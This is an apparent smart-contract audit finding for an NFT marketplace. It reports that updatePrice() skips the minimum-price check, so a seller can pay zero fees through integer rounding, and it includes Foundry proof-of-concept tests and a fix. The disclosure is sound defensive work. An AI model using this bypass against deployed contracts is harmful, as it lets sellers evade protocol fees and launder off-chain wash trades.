Root + Impact
Description
The list() function (L127-139) enforces require(_price >= MIN_PRICE, "Price must be at least 1 USDC") at L128, where MIN_PRICE = 1e6 (1 USDC, defined at L32). However, updatePrice() (L185-193) only checks require(_newPrice > 0, "Price must be greater than 0") at L189 -- it does not enforce MIN_PRICE.
A seller can list at the minimum price (1 USDC), then immediately call updatePrice() to set the price to 1 (0.000001 USDC). At this price, _calculateFees(1) at L229-236 returns (1 * 100) / 10_000 = 0 due to integer division -- the protocol collects zero fees.
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
require(_price >= MIN_PRICE, "Price must be at least 1 USDC");
require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
require(s_listings[_tokenId].isActive == false, "NFT is already listed");
require(_price > 0, "Price must be greater than 0");
...
}
function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
uint256 oldPrice = listing.price;
if (!listing.isActive) revert ListingNotActive(_listingId);
require(_newPrice > 0, "Price must be greater than 0");
s_listings[_listingId].price = _newPrice;
emit NFT_Dealers_Price_Updated(_listingId, oldPrice, _newPrice);
}
The fee calculation at _calculateFees() (L229-236) uses integer division:
function _calculateFees(uint256 _price) internal pure returns (uint256) {
if (_price <= LOW_FEE_THRESHOLD) {
return (_price * LOW_FEE_BPS) / MAX_BPS;
}
...
}
For any price below MAX_BPS / LOW_FEE_BPS = 10_000 / 100 = 100 (i.e., below 0.0001 USDC), the fee rounds down to zero. Since updatePrice allows any value > 0, a seller can trivially set a price in this zero-fee range.
Risk
Likelihood:
-
Any seller with an active listing can call updatePrice() (L185) to set the price below MIN_PRICE -- the onlySeller modifier (L72-75) is the only access restriction
-
The bypass requires only two transactions: list(tokenId, 1e6) then updatePrice(tokenId, 1)
-
No special permissions, timing, or conditions beyond being the listing seller
Impact:
-
Zero-fee trades: At price = 1, _calculateFees(1) returns 0. The protocol earns no revenue from the sale
-
Fee avoidance via wash trading: Colluding seller and buyer can trade at near-zero on-chain price (paying 0 fees) and settle the real value off-chain
-
Broken invariant: The MIN_PRICE constraint at L128 is intended to ensure meaningful trades and minimum fee revenue, but updatePrice at L189 completely circumvents it
Proof of Concept
Two Foundry tests demonstrate the bypass and its downstream impact. Run with forge test --match-contract M04PoCTest -vv:
pragma solidity 0.8.34;
import {Test, console} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
contract M04PoCTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
address public owner = makeAddr("owner");
address public seller = makeAddr("seller");
address public buyer = makeAddr("buyer");
uint256 constant LOCK_AMOUNT = 20e6;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "ipfs://test/", LOCK_AMOUNT);
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(seller);
vm.stopPrank();
usdc.mint(seller, 1000e6);
usdc.mint(buyer, 1000e6);
vm.prank(seller);
usdc.approve(address(nftDealers), type(uint256).max);
vm.prank(buyer);
usdc.approve(address(nftDealers), type(uint256).max);
}
function test_updatePriceBelowMinPrice() public {
vm.prank(seller);
nftDealers.mintNft();
vm.prank(seller);
nftDealers.list(1, uint32(1e6));
assertEq(nftDealers.MIN_PRICE(), 1e6);
vm.prank(seller);
nftDealers.updatePrice(1, 1);
(, uint32 listedPrice,,,) = nftDealers.s_listings(1);
assertEq(listedPrice, 1);
assertLt(uint256(listedPrice), nftDealers.MIN_PRICE());
uint256 fee = nftDealers.calculateFees(1);
assertEq(fee, 0);
console.log("MIN_PRICE: ", nftDealers.MIN_PRICE());
console.log("Listed price: ", listedPrice);
console.log("Fee on price=1: ", fee);
console.log("MIN_PRICE bypass confirmed: seller pays zero fees");
}
function test_zeroFeePurchaseAfterPriceUpdate() public {
vm.prank(seller);
nftDealers.mintNft();
vm.prank(seller);
nftDealers.list(1, uint32(1e6));
vm.prank(seller);
nftDealers.updatePrice(1, 1);
vm.prank(buyer);
nftDealers.buy(1);
assertEq(nftDealers.totalFeesCollected(), 0);
assertEq(nftDealers.ownerOf(1), buyer);
console.log("Buyer acquired NFT for 0.000001 USDC");
console.log("Protocol fee revenue: 0");
}
}
Recommended Mitigation
Add the MIN_PRICE check to updatePrice(), matching the validation in list().
function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
uint256 oldPrice = listing.price;
if (!listing.isActive) revert ListingNotActive(_listingId);
- require(_newPrice > 0, "Price must be greater than 0");
+ require(_newPrice >= MIN_PRICE, "Price must be at least 1 USDC");
s_listings[_listingId].price = _newPrice;
emit NFT_Dealers_Price_Updated(_listingId, oldPrice, _newPrice);
}
This fix:
Enforces the same MIN_PRICE floor in updatePrice() (L189) that list() enforces at L128
Prevents prices that produce zero fees via integer division in _calculateFees() (L231)
Subsumes the existing > 0 check since MIN_PRICE = 1e6 > 0
No side effects -- the onlySeller modifier, isActive check, and event emission are unchanged
